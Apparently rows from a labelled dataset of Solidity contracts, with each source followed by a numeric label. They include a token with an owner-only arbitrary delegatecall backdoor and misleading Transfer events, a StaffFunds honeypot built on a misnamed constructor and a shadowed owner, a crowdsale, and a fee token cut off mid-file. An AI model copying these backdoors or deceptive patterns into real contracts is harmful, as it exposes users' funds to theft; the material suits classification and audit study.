if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,993 |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor (
address ifSuccessfulSendTo,
uint fundingGoalInFinney,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInFinney * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1000 wei;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 2,639 |
pragma solidity ^0.4.17;
contract Owned {
address public Owner;
function Owned() { Owner = msg.sender; }
modifier onlyOwner { if ( msg.sender == Owner ) _; }
}
contract StaffFunds is Owned {
address public Owner;
mapping (address=>uint) public deposits;
function StaffWallet() { Owner = msg.sender; }
function() payable { }
function deposit() payable {
if( msg.value >= 1 ether )
deposits[msg.sender] += msg.value;
else return;
}
function withdraw(uint amount) onlyOwner {
uint depo = deposits[msg.sender];
deposits[msg.sender] -= msg.value;
if( amount <= depo && depo > 0 )
msg.sender.send(amount);
}
function kill() onlyOwner {
require(this.balance == 0);
suicide(msg.sender);
}
} | 0 | 269 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IConditional {
function passesTest(address wallet) external view returns (bool);
}
contract CULTnETH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public treasuryWallet =
payable(0x80Cb2ABde6296E0bAB313f776dfa80eFc4AD85C0);
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public rewardsClaimTimeSeconds = 60 * 60 * 1;
mapping(address => uint256) private _rewardsLastClaim;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'CULT n ETH';
string private constant _symbol = 'CnE';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public reflectionFee = 0;
uint256 private _previousReflectFee = reflectionFee;
uint256 public treasuryFee = 6;
uint256 private _previousTreasuryFee = treasuryFee;
uint256 public ethRewardsFee = 4;
uint256 private _previousETHRewardsFee = ethRewardsFee;
uint256 public ethRewardsBalance;
uint256 public buybackFee = 3;
uint256 private _previousBuybackFee = buybackFee;
address public buybackTokenAddress = 0xf0f9D895aCa5c8678f706FB8216fa22957685A13;
address public buybackReceiver = address(this);
uint256 public feeSellMultiplier = 2;
uint256 public feeRate = 12;
uint256 public launchTime;
uint256 public boostRewardsPercent = 50;
address public boostRewardsContract;
address public feeExclusionContract;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
address private constant _uniswapRouterAddress =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private _inSwapAndLiquify;
bool private _isSelling;
bool private _tradingOpen = false;
bool private _isMaxBuyActivated = true;
uint256 public _maxTxAmount = _tTotal.mul(10).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
uint256 public _maximumBuyAmount = _tTotal.mul(10).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxWalletSizeUpdated(uint256 _maxWalletSize);
event SendETHRewards(address to, uint256 amountETH);
event SendTokenRewards(address to, address token, uint256 amount);
event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_isExcludedFee[treasuryWallet] = true;
}
function openTrading() external onlyOwner {
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
reflectionFee = _previousReflectFee;
buybackFee = _previousBuybackFee;
_tradingOpen = true;
launchTime = block.timestamp;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function MaxTXAmount() external view returns (uint256) {
return _maxTxAmount;
}
function MaxWalletSize() external view returns (uint256) {
return _maxWalletSize;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{
require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%");
require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%");
_maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{
require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%");
require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%");
_maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000);
emit MaxWalletSizeUpdated(_maxWalletSize);
}
function getLastETHRewardsClaim(address wallet)
external
view
returns (uint256)
{
return _rewardsLastClaim[wallet];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(
!_isExcludedReward[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(address(0), tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedReward[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedReward[account], 'Account is already included');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (
(to == uniswapV2Pair || _isUniswapPair[to]) &&
from != address(uniswapV2Router) &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
if (
to != uniswapV2Pair &&
!_isUniswapPair[to] &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (_isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _maximumBuyAmount, "Amount too much");
}
}
}
_rewardsLastClaim[to] = block.timestamp;
bool excludedFromFee = false;
if (
(from == uniswapV2Pair || _isUniswapPair[from]) &&
to != address(uniswapV2Router)
) {
if (!isExcludedFromFee(to)) {
require(_tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
_rewardsLastClaim[from] = block.timestamp;
} else {
excludedFromFee = true;
}
}
if (
!_inSwapAndLiquify &&
_tradingOpen &&
(to == uniswapV2Pair || _isUniswapPair[to])
) {
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
_rewardsLastClaim[from] = block.timestamp;
_isSelling = true;
excludedFromFee = isExcludedFromFee(from);
}
bool takeFee = false;
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !excludedFromFee
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
_isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
uint256 ethBalanceBefore = address(this).balance;
_swapTokensForEth(_contractTokenBalance);
uint256 ethBalanceAfter = address(this).balance;
uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore);
uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0));
ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div(
_liquidityFeeTotal
);
uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div(
_liquidityFeeTotal
);
if (treasuryETHBalance > 0) {
_sendETHToTreasury(treasuryETHBalance);
}
uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div(
_liquidityFeeTotal
);
if (buybackETHBalance > 0) {
_buyBackTokens(buybackETHBalance);
}
}
function _sendETHToTreasury(uint256 amount) private {
treasuryWallet.call{ value: amount }('');
}
function _buyBackTokens(uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = buybackTokenAddress;
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
buybackReceiver,
block.timestamp
);
emit SwapETHForTokens(buybackReceiver, amount, path);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _removeAllFee();
if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) _restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
seller,
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = _calculateReflectFee(tAmount);
uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
